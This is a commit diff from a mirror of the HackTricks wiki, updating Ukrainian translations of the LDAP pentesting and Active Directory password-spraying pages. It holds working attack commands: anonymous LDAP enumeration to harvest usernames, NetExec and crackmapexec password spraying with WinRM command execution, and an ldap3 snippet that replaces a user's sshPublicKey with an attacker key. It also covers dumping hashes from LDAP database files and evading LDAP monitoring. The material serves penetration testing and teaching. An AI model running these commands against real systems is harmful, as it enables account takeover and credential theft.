mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/priv
This commit is contained in:
parent
9c89a29b9e
commit
ae066dbf0e
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Використання **LDAP** (Протокол легкого доступу до каталогів) в основному призначене для знаходження різних сутностей, таких як організації, особи та ресурси, такі як файли та пристрої в мережах, як публічних, так і приватних. Він пропонує спрощений підхід у порівнянні зі своїм попередником, DAP, завдяки меншому обсягу коду.
|
||||
Використання **LDAP** (Lightweight Directory Access Protocol) переважно призначене для знаходження різних об'єктів, таких як організації, люди та ресурси, наприклад файли й пристрої, у мережах як публічних, так і приватних. Він пропонує більш оптимізований підхід у порівнянні зі своїм попередником, DAP, завдяки меншому коду.
|
||||
|
||||
Каталоги LDAP структуровані так, щоб дозволити їх розподіл на кількох серверах, при цьому кожен сервер містить **репліковану** та **синхронізовану** версію каталогу, що називається Агентом системи каталогів (DSA). Відповідальність за обробку запитів повністю лежить на сервері LDAP, який може спілкуватися з іншими DSA за потреби, щоб надати єдину відповідь запитувачу.
|
||||
LDAP-каталоги структуровані так, щоб дозволяти їх розподіл між кількома серверами, причому кожен сервер містить **replicated** та **synchronized** версію каталогу, що називається Directory System Agent (DSA). Відповідальність за обробку запитів повністю лежить на LDAP-сервері, який може за потреби спілкуватися з іншими DSA для надання узгодженої відповіді запитувачу.
|
||||
|
||||
Організація каталогу LDAP нагадує **деревоподібну ієрархію, починаючи з кореневого каталогу вгорі**. Це розгалужується на країни, які далі діляться на організації, а потім на організаційні одиниці, що представляють різні підрозділи або департаменти, нарешті досягаючи рівня окремих сутностей, включаючи як людей, так і спільні ресурси, такі як файли та принтери.
|
||||
Організація LDAP-каталогу нагадує **ієрархічне дерево, що починається з кореневого каталогу на вершині**. Воно розгалужується до країн, які далі діляться на організації, потім на організаційні підрозділи, що представляють різні відділи чи департаменти, і в кінці досягає рівня окремих об'єктів, включаючи як людей, так і спільні ресурси, такі як файли та принтери.
|
||||
|
||||
**Порт за замовчуванням:** 389 та 636 (ldaps). Глобальний каталог (LDAP в ActiveDirectory) доступний за замовчуванням на портах 3268 та 3269 для LDAPS.
|
||||
**Порт за замовчуванням:** 389 і 636 (ldaps). Global Catalog (LDAP in ActiveDirectory) за замовчуванням доступний на портах 3268, а для LDAPS — на порту 3269.
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### LDAP Data Interchange Format
|
||||
|
||||
LDIF (LDAP Data Interchange Format) визначає вміст каталогу як набір записів. Він також може представляти запити на оновлення (Додати, Змінити, Видалити, Перейменувати).
|
||||
LDIF (LDAP Data Interchange Format) визначає вміст каталогу як набір записів. Він також може представляти запити на оновлення (Add, Modify, Delete, Rename).
|
||||
```bash
|
||||
dn: dc=local
|
||||
dc: local
|
||||
@ -45,14 +45,14 @@ ou:
|
||||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
- Рядки 1-3 визначають домен верхнього рівня local
|
||||
- Рядки 5-8 визначають домен першого рівня moneycorp (moneycorp.local)
|
||||
- Рядки 10-16 визначають 2 організаційні одиниці: dev та sales
|
||||
- Рядки 18-26 створюють об'єкт домену та призначають атрибути зі значеннями
|
||||
- Рядки 1–3 визначають верхній рівень домену local
|
||||
- Рядки 5–8 визначають домен першого рівня moneycorp (moneycorp.local)
|
||||
- Рядки 10–16 визначають 2 організаційні підрозділи: dev та sales
|
||||
- Рядки 18–26 створюють об'єкт домену і призначають атрибути зі значеннями
|
||||
|
||||
## Запис даних
|
||||
|
||||
Зверніть увагу, що якщо ви можете змінювати значення, ви можете виконувати дійсно цікаві дії. Наприклад, уявіть, що ви **можете змінити інформацію "sshPublicKey"** вашого користувача або будь-якого користувача. Існує висока ймовірність, що якщо цей атрибут існує, то **ssh читає публічні ключі з LDAP**. Якщо ви можете змінити публічний ключ користувача, ви **зможете увійти як цей користувач, навіть якщо аутентифікація за паролем не увімкнена в ssh**.
|
||||
Зверніть увагу, що якщо ви можете змінювати значення, то зможете виконувати дуже цікаві дії. Наприклад, уявіть, що ви **можете змінити інформацію "sshPublicKey"** свого користувача або будь-якого іншого користувача. Є велика ймовірність, що якщо цей атрибут існує, то **ssh читає публічні ключі з LDAP**. Якщо ви зможете змінити публічний ключ користувача, ви **зможете увійти як цей користувач навіть якщо автентифікація паролем у ssh не увімкнена**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -64,30 +64,55 @@ True
|
||||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||
```
|
||||
## Перехоплення облікових даних у відкритому тексті
|
||||
## Sniff облікових даних у відкритому тексті
|
||||
|
||||
Якщо LDAP використовується без SSL, ви можете **перехопити облікові дані у відкритому тексті** в мережі.
|
||||
Якщо LDAP використовується без SSL, ви можете **sniff credentials in plain text** у мережі.
|
||||
|
||||
Також ви можете виконати **MITM** атаку в мережі **між LDAP сервером і клієнтом.** Тут ви можете здійснити **Атаку з пониженням**, щоб клієнт використовував **облікові дані у відкритому тексті** для входу.
|
||||
Також можна виконати **MITM** атаку в мережі **між LDAP сервером і клієнтом.** Тут ви можете здійснити **Downgrade Attack**, щоб клієнт використав **облікові дані у відкритому тексті** для входу.
|
||||
|
||||
**Якщо використовується SSL**, ви можете спробувати здійснити **MITM** як зазначено вище, але запропонувавши **помилковий сертифікат**. Якщо **користувач його прийме**, ви зможете знизити метод аутентифікації і знову побачити облікові дані.
|
||||
**Якщо SSL використовується** ви можете спробувати зробити **MITM**, як описано вище, але пропонуючи **фальшивий сертифікат**; якщо **користувач прийме його**, ви зможете Downgrade метод аутентифікації і знову побачити облікові дані.
|
||||
|
||||
## Анонімний доступ
|
||||
|
||||
### Обхід перевірки TLS SNI
|
||||
### Bypass TLS SNI check
|
||||
|
||||
Згідно з [**цією статтею**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) просто отримавши доступ до LDAP сервера з довільним доменним ім'ям (наприклад, company.com), він зміг зв'язатися з LDAP сервісом і витягти інформацію як анонімний користувач:
|
||||
Згідно з [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) просто підключившись до LDAP сервера з довільною доменною назвою (наприклад company.com) йому вдалося звернутися до LDAP служби і витягти інформацію як анонімний користувач:
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### LDAP анонімні зв'язки
|
||||
### LDAP anonymous binds
|
||||
|
||||
[LDAP анонімні зв'язки](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) дозволяють **неавтентифікованим атакам** отримувати інформацію з домену, таку як повний список користувачів, груп, комп'ютерів, атрибутів облікових записів користувачів та політики паролів домену. Це **старе налаштування**, і починаючи з Windows Server 2003, лише автентифіковані користувачі можуть ініціювати LDAP запити.\
|
||||
Однак адміністратори могли потребувати **налаштувати певний додаток для дозволу анонімних зв'язків** і надати більше доступу, ніж планувалося, тим самим надаючи неавтентифікованим користувачам доступ до всіх об'єктів в AD.
|
||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) дозволяють **неавторизованим атакувачам** отримувати інформацію з домену, наприклад повний перелік користувачів, груп, комп'ютерів, атрибутів облікових записів користувачів та політики паролів домену. Це **успадкована конфігурація**, і починаючи з Windows Server 2003 лише автентифікованим користувачам дозволено ініціювати LDAP-запити.\
|
||||
Проте адміністратори могли потребувати **set up a particular application to allow anonymous binds** і надати більше доступу, ніж планувалося, внаслідок чого неавторизовані користувачі отримують доступ до всіх об'єктів в AD.
|
||||
|
||||
### Anonymous LDAP enumeration with NetExec (null bind)
|
||||
|
||||
Якщо null/anonymous bind дозволений, ви можете витягувати користувачів, групи та атрибути безпосередньо через NetExec’s LDAP module without creds. Корисні фільтри:
|
||||
- (objectClass=*) щоб інвентаризувати об'єкти під base DN
|
||||
- (sAMAccountName=*) щоб зібрати ідентифікатори користувачів
|
||||
|
||||
Приклади:
|
||||
```bash
|
||||
# Enumerate objects from the root DSE (base DN autodetected)
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||
|
||||
# Dump users with key attributes for spraying and targeting
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||
|
||||
# Extract just the sAMAccountName field into a list
|
||||
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||
```
|
||||
Що шукати:
|
||||
- sAMAccountName, userPrincipalName
|
||||
- memberOf і розміщення в OU, щоб звузити targeted sprays
|
||||
- pwdLastSet (часові закономірності), userAccountControl прапори (disabled, smartcard required, тощо)
|
||||
|
||||
Note: If anonymous bind is not permitted, you’ll typically see an Operations error indicating a bind is required.
|
||||
|
||||
## Дійсні облікові дані
|
||||
|
||||
Якщо у вас є дійсні облікові дані для входу на LDAP сервер, ви можете вивантажити всю інформацію про Domain Admin, використовуючи:
|
||||
Якщо у вас є дійсні облікові дані для входу на LDAP-сервер, ви можете dump усю інформацію про Domain Admin за допомогою:
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||
```bash
|
||||
@ -96,11 +121,11 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
|
||||
```
|
||||
### [Brute Force](../generic-hacking/brute-force.md#ldap)
|
||||
|
||||
## Enumeration
|
||||
## Перерахування
|
||||
|
||||
### Automated
|
||||
### Автоматизовано
|
||||
|
||||
Використовуючи це, ви зможете побачити **публічну інформацію** (таку як ім'я домену)**:**
|
||||
За допомогою цього ви зможете побачити **публічну інформацію** (наприклад, ім'я домену)**:**
|
||||
```bash
|
||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
```
|
||||
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Дивитися перерахування LDAP за допомогою python</summary>
|
||||
<summary>Перегляньте LDAP enumeration with python</summary>
|
||||
|
||||
Ви можете спробувати **перерахувати LDAP з або без облікових даних, використовуючи python**: `pip3 install ldap3`
|
||||
Можете спробувати **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
|
||||
|
||||
Спочатку спробуйте **підключитися без** облікових даних:
|
||||
Спочатку спробуйте **підключитися без** credentials:
|
||||
```bash
|
||||
>>> import ldap3
|
||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||
@ -121,7 +146,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
True
|
||||
>>> server.info
|
||||
```
|
||||
Якщо відповідь `True`, як у попередньому прикладі, ви можете отримати деякі **цікаві дані** з LDAP (як-от **контекст іменування** або **ім'я домену**) сервера з:
|
||||
Якщо відповідь `True`, як у попередньому прикладі, ви можете отримати деякі **цікаві дані** LDAP‑сервера (наприклад, **контекст імен** або **доменне ім'я**) з:
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
@ -129,7 +154,7 @@ Supported LDAP versions: 3
|
||||
Naming contexts:
|
||||
dc=DOMAIN,dc=DOMAIN
|
||||
```
|
||||
Якщо у вас є контекст іменування, ви можете виконати деякі більш цікаві запити. Цей простий запит має показати вам всі об'єкти в каталозі:
|
||||
Після того як у вас є naming context, ви можете виконувати більш цікаві запити. Цей простий запит має показати всі об'єкти в каталозі:
|
||||
```bash
|
||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||
True
|
||||
@ -145,7 +170,7 @@ True
|
||||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) - це скрипт на Python, корисний для **перерахунку користувачів, груп та комп'ютерів з домену Windows** за допомогою LDAP запитів.
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) — це Python-скрипт, корисний для **перерахування користувачів, груп і комп'ютерів у Windows** домені за допомогою LDAP-запитів.
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
||||
```
|
||||
### ldapsearch
|
||||
|
||||
Перевірте порожні облікові дані або чи є ваші облікові дані дійсними:
|
||||
Перевірте null credentials або чи ваші credentials дійсні:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
@ -173,7 +198,7 @@ result: 1 Operations error
|
||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Якщо ви знайдете щось, що говорить, що "_bind must be completed_", це означає, що облікові дані неправильні.
|
||||
Якщо ви бачите щось на кшталт "_bind must be completed_", це означає, що облікові дані невірні.
|
||||
|
||||
Ви можете витягти **все з домену** за допомогою:
|
||||
```bash
|
||||
@ -184,12 +209,12 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
||||
-w My password
|
||||
-b Base site, all data from here will be given
|
||||
```
|
||||
Витягти **користувачів**:
|
||||
Витягнути **користувачів**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||
```
|
||||
Витягти **комп'ютери**:
|
||||
Отримати **комп'ютери**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -197,19 +222,19 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Com
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Витягти **Domain Admins**:
|
||||
Отримати **Domain Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Витягти **Користувачів домену**:
|
||||
Витягнути **Domain Users**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Витягти **Enterprise Admins**:
|
||||
Отримати **Enterprise Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Витягти **Адміністратори**:
|
||||
Витягти **Administrators**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -217,16 +242,16 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Adm
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Щоб перевірити, чи маєте ви доступ до будь-якого пароля, ви можете використовувати grep після виконання одного з запитів:
|
||||
Щоб перевірити, чи маєте доступ до будь-якого password, ви можете використати grep після виконання одного з запитів:
|
||||
```bash
|
||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||
```
|
||||
Будь ласка, зверніть увагу, що паролі, які ви можете знайти тут, можуть бути не справжніми...
|
||||
Зверніть увагу, що passwords, які ви можете знайти тут, можуть бути несправжніми...
|
||||
|
||||
#### pbis
|
||||
|
||||
Ви можете завантажити **pbis** звідси: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) і зазвичай він встановлюється в `/opt/pbis`.\
|
||||
**Pbis** дозволяє вам легко отримувати основну інформацію:
|
||||
Ви можете завантажити **pbis** тут: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) і він зазвичай встановлюється в `/opt/pbis`.\
|
||||
**Pbis** дозволяє легко отримати базову інформацію:
|
||||
```bash
|
||||
#Read keytab file
|
||||
./klist -k /etc/krb5.keytab
|
||||
@ -255,13 +280,13 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Rem
|
||||
./list-groups-for-user <username>
|
||||
./lsa list-groups-for-user <username>
|
||||
#Get groups of each user
|
||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get users of a group
|
||||
./enum-members --by-name "domain admins"
|
||||
./lsa enum-members --by-name "domain admins"
|
||||
#Get users of each group
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||
|
||||
#Get description of each user
|
||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||
@ -274,45 +299,45 @@ done
|
||||
|
||||
### Apache Directory
|
||||
|
||||
[**Завантажте Apache Directory звідси**](https://directory.apache.org/studio/download/download-linux.html). Ви можете знайти [приклад використання цього інструменту тут](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
|
||||
### jxplorer
|
||||
|
||||
Ви можете завантажити графічний інтерфейс з LDAP сервером тут: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
Ви можете завантажити графічний інтерфейс з LDAP-сервером тут: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
За замовчуванням він встановлюється в: _/opt/jxplorer_
|
||||
By default is is installed in: _/opt/jxplorer_
|
||||
|
||||
.png>)
|
||||
|
||||
### Godap
|
||||
|
||||
Godap - це інтерактивний термінальний інтерфейс користувача для LDAP, який можна використовувати для взаємодії з об'єктами та атрибутами в AD та інших LDAP серверах. Він доступний для Windows, Linux та MacOS і підтримує прості зв'язки, pass-the-hash, pass-the-ticket та pass-the-cert, а також кілька інших спеціалізованих функцій, таких як пошук/створення/зміна/видалення об'єктів, додавання/видалення користувачів з груп, зміна паролів, редагування дозволів об'єктів (DACLs), модифікація Active-Directory Integrated DNS (ADIDNS), експорт у JSON файли тощо.
|
||||
Godap — це інтерактивний термінальний інтерфейс для LDAP, який можна використовувати для взаємодії з об'єктами та атрибутами в AD та інших LDAP-серверах. Він доступний для Windows, Linux і MacOS і підтримує simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, а також кілька інших спеціалізованих можливостей, таких як пошук/створення/зміна/видалення об'єктів, додавання/видалення користувачів з груп, зміна паролів, редагування дозволів об'єктів (DACLs), модифікація Active-Directory Integrated DNS (ADIDNS), експорт у JSON-файли тощо.
|
||||
|
||||

|
||||
|
||||
Ви можете отримати доступ до нього за адресою [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Для прикладів використання та інструкцій читайте [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
Ви можете отримати його за адресою [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Для прикладів використання та інструкцій читайте [Wiki](https://github.com/Macmod/godap/wiki).
|
||||
|
||||
### Ldapx
|
||||
|
||||
Ldapx - це гнучкий LDAP проксі, який можна використовувати для перевірки та трансформації LDAP трафіку з інших інструментів. Його можна використовувати для обфускації LDAP трафіку, щоб спробувати обійти захист ідентичності та інструменти моніторингу LDAP, і він реалізує більшість методів, представлених у доповіді [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
Ldapx — це гнучкий LDAP-проксі, який можна використовувати для інспекції та трансформації LDAP-трафіку від інших інструментів. Його можна застосовувати для обфускації LDAP-трафіку, щоб спробувати обійти identity protection & LDAP monitoring tools, і він реалізує більшість методів, представлених у доповіді [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
||||
|
||||

|
||||
|
||||
Ви можете отримати його з [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
Отримати його можна з [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||
|
||||
## Аутентифікація через kerberos
|
||||
|
||||
Використовуючи `ldapsearch`, ви можете **аутентифікуватися** через **kerberos замість** **NTLM**, використовуючи параметр `-Y GSSAPI`
|
||||
Використовуючи `ldapsearch`, ви можете **аутентифікуватися** через **kerberos** замість **NTLM**, використовуючи параметр `-Y GSSAPI`
|
||||
|
||||
## POST
|
||||
|
||||
Якщо ви можете отримати доступ до файлів, де містяться бази даних (може бути в _/var/lib/ldap_). Ви можете витягти хеші, використовуючи:
|
||||
Якщо ви маєте доступ до файлів, де містяться бази даних (можуть бути в _/var/lib/ldap_), ви можете витягти хеші за допомогою:
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
Ви можете ввести john хеш пароля (з '{SSHA}' до 'structural' без додавання 'structural').
|
||||
Можна передати john хеш пароля (від '{SSHA}' до 'structural' без додавання 'structural').
|
||||
|
||||
### Конфігураційні файли
|
||||
### Файли конфігурації
|
||||
|
||||
- Загальні
|
||||
- containers.ldif
|
||||
@ -378,4 +403,10 @@ Entry_7:
|
||||
Name: Netexec LDAP BloodHound
|
||||
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||
```
|
||||
## Джерела
|
||||
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
- [NetExec (наступник CME)](https://github.com/Pennyw0rth/NetExec)
|
||||
- [Microsoft: Anonymous LDAP operations to Active Directory вимкнені](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -5,16 +5,16 @@
|
||||
|
||||
## **Password Spraying**
|
||||
|
||||
Після того, як ви знайшли кілька **valid usernames**, ви можете спробувати найпоширеніші **common passwords** (беріть до уваги **password policy** середовища).\
|
||||
За замовчуванням мінімальна довжина **password** — **7**.
|
||||
Після того, як ви знайдете кілька **дійсних імен користувачів**, ви можете спробувати найпоширеніші **паролі** (пам'ятайте про політику паролів у середовищі) для кожного з виявлених користувачів.\
|
||||
За **замовчуванням** **мінімальна** **довжина** **пароля** — **7**.
|
||||
|
||||
Списки поширених **usernames** також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
Списки поширених імен користувачів також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (за замовчуванням більше 10).
|
||||
Зверніть увагу, що ви **можете заблокувати деякі облікові записи, якщо спробуєте кілька неправильних паролів** (за замовчуванням більше 10).
|
||||
|
||||
### Get password policy
|
||||
### Отримати політику паролів
|
||||
|
||||
Якщо у вас є якісь **user credentials** або shell як **domain user**, ви можете **get the password policy with**:
|
||||
Якщо у вас є облікові дані користувача або shell як доменний користувач, ви можете **отримати політику паролів за допомогою**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,15 +31,30 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Експлуатація з Linux (або з будь-якої ОС)
|
||||
### Експлуатація з Linux (або будь-якої ОС)
|
||||
|
||||
- Використовуючи **crackmapexec:**
|
||||
- Використання **crackmapexec:**
|
||||
```bash
|
||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
- Використання **NetExec (CME successor)** для цілеспрямованого, малошумного spraying через SMB/WinRM:
|
||||
```bash
|
||||
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||
|
||||
# Spray a single candidate password against harvested users over SMB
|
||||
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||
--continue-on-success --no-bruteforce --shares
|
||||
|
||||
# Validate a hit over WinRM (or use SMB exec methods)
|
||||
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||
|
||||
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||
sudo ntpdate <DC_FQDN>
|
||||
```
|
||||
- Використання [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||
```bash
|
||||
# Password Spraying
|
||||
@ -51,7 +66,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Використання [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДУЄТЬСЯ — ІНОДІ НЕ ПРАЦЮЄ
|
||||
- Використання [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДУЄТЬСЯ — ІНКОЛИ НЕ ПРАЦЮЄ
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
@ -60,7 +75,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
|
||||
|
||||
.png>)
|
||||
|
||||
- Використовуючи **rpcclient**:
|
||||
- За допомогою **rpcclient**:
|
||||
```bash
|
||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||
for u in $(cat users.txt); do
|
||||
@ -69,7 +84,7 @@ done
|
||||
```
|
||||
#### З Windows
|
||||
|
||||
- З версією [Rubeus](https://github.com/Zer1t0/Rubeus) з модулем brute:
|
||||
